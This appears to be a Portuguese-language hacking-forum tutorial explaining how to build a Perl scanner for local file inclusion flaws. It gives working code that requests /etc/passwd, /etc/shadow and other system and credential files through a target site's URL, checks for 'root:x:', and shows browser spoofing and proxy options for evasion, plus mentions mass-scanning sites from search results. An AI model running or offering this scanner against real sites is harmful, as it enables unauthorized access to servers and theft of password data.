vou tentar ensinar como criar um scanner em perl usando: LWP::UserAgent e HTTP::Request
vou me basear em 2 dos meus scans de rfi e de lfi
http://www.freewebs.com/dr4k3/Sources/rfi_scan2.txt // http://www.freewebs.com/dr4k3/Sources/lfi_scan.txt
#!/usr/bin/perl
[...]
use LWP::UserAgent;
use HTTP::Request;
Como em toda open-source #!/usr/bin/perl seria o caminho do interpretador e logo após os módulos que o programa ira usar...
bom cada scanner tem seu método de busca e cada vulnerabilidade tem o seu método de explorar com no rfi é necessário uma shell para a verificação e no lfi não por este motivo peguei estes 2 scans...
primeiro precisamos obter as vulnerabilidades vou disponibilizar um database onde guardo algumas vuls ele ta meio bagunçado mais ajuda
Quotehttp://www.dr4k3.co.cc/d0c/f4il
após obter as vuls podemos começar a codar o scanner:
print ">Insert Link[...]\n";
print '>';chomp($link = <STDIN>);
if($link !~ /http:\/\//) { $link = "http://$link"; }
esta é uma parte fundamental, é ai que o user do scan vai por o link para a verificação também é usado uma regex pra colocar
http:// antes do link, esse método também pode ser feito de outros jeitos como
$link = $ARGV[0]; if($link !~ /http:\/\//) { $link = "http://$link"; }
ai é um exemplo dos esquemas usados em exploit onde a pessoa teria que colocar o link na linha de comando ex:
perl scan.pl http://www.google.com
e também pode ser obtido link a partir de uma busca com scanner mais avançados onde ele busca os sites em rfi por exemplo salva até o = e ai sim testa os sites um de cada vez, também da para inserir um lista com os sites, bom existem varias maneiras vem de cada um qual usar...
print "\n>press [enter] to check the version of httpd[...]\n";
$httpd =<STDIN>;
$host = $link;
$useragent = LWP::UserAgent->new;
$resp = $useragent->head($host);
print $resp->headers_as_string;
este é um complemento básico para o scan ele retorna com as infos do servidor
#site = www.google.com
Cache-Control: private, max-age=0
Connection: Close
Date: Thu, 29 Jan 2009 15:38:51 GMT
Server: gws
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-1
Expires: -1
Client-Date: Thu, 29 Jan 2009 15:38:53 GMT
Client-Peer: 209.85.193.99:80
Client-Response-Num: 1
Set-Cookie: PREF=ID=e4fe4e1d4110bc09:TM=1233243531:LM=1233243531:S=RQyjxOxg-i58wK2B; expires=Sat, 29-Jan-2011 15:38:51 GMT; path=/; domain=.google.com.br
esse complemento não é necessário no scan porem deixa o scan mais completo e pode ser útil para foot print, engenharia reversa etc...
print "\n>press [enter] to check the vulnerability in lfi[...]\n";
$start =<STDIN>;
# scanning 314 paths
@vuls = ('/etc/passwd',
'/etc/shadow',
'/etc/group',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
[...]
ai começa o scanner, as vuls são armazenadas em uma array e serão usadas na verificação pelo scan
também existem scanners como o st4lk3r que guarda as vuls em uma arquivo separado em um txt por exemplo e depois abre esse arquivo e joga tudo pra array
open (sql, vuls.txt) or die "error [$!]";
@vul = <sql>;
close(sql);
outros usam banco de dados sql outros pedem a vul pro user enfim cada coder sabe qual método usar e em qual scanner vai ficar melhor...
print ">start scaning[...]\n";
foreach $scan(@vuls){
$url = $link.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();
$response = $useragent->request($request);
if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
else { $msg = "Not Found";}
print "$scan..........[$msg]\n";
}
o foreach transforma a array em varias escalares e faz com que o lwp se conecte a todas elas uma após a outra.
$url = $link.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();
iniciada conexão por lwp com a $url que seria o link + vul
como da para perceber este scanner é muito básico scanners mais avançados como o st4lk3r por exemplo usam serviços do lwp mais avançados como proxy e simuladores:
if($os eq "-bsd"){
$ua->agent('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.1.12) Gecko/20080301 Firefox/2.0.0.12');}
if($os eq "-win"){
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Firefox/2.0.0.12');}
if($os eq "-lnx"){
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/20020823 Firefox/2.0.0.12');}
if($proxy!=0) {$ua->env_proxy();
$ua->proxy("http", "http://$proxy/"); }
$response = $ua->request($request);
não vou explicar as variáveis porque o code é complexo so pegando a source mesmo e vendo para intender...
if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
else { $msg = "Not Found";}
print "$scan..........[$msg]\n";
}
ai seria o que informaria se esta vulnerável ou não usando a seguinte lógica:
se a pagina carregar normalmente e tiver a string root:x: na pagina a $msg sera "Vulnerable" caso contrario a $msg sera "Not Found"
mais nos so armazenamos o resultado na variável precisamos mostrar pro user que é a função do print. Com o print o scan retornaria isso
/etc/passwd..........[Not Found]
/etc/shadow..........[Not Found]
/etc/group..........[Not Found]
/etc/security/group..........[Not Found]
/etc/security/passwd..........[Not Found]
/etc/security/user..........[Not Found]
/etc/security/environ..........[Vulnerable]
/etc/security/limits..........[Not Found]
/usr/lib/security/mkuser.default..........[Not Found]
/apache/logs/access.log..........[Not Found]
[...]
existem outros scanners que não mostram isso apenas mostra se esta vulnerável ou não, outros abrem um txt com a vul, bom como já disse isso vem de cada um e cada coder sabe o que usar e quando usar.
esse scanner é muito básico mais já da para ter uma ideia boa do funcionamento de um scanner por teste de url e claro que você pode complementar o scanner com proxy, googler, banco de dados etc... No cpan você também encontra outro módulos como WWW:Mechanize que são rápidos e muito eficientes e também pode encontrar mais coisas sobre lwp.
vul = vulnerabilidade/vulneravel
txt = arquivo.txt
coder = programador
greetz: c00kies creW / botecounix.com.br / c0d3rs.tk /irc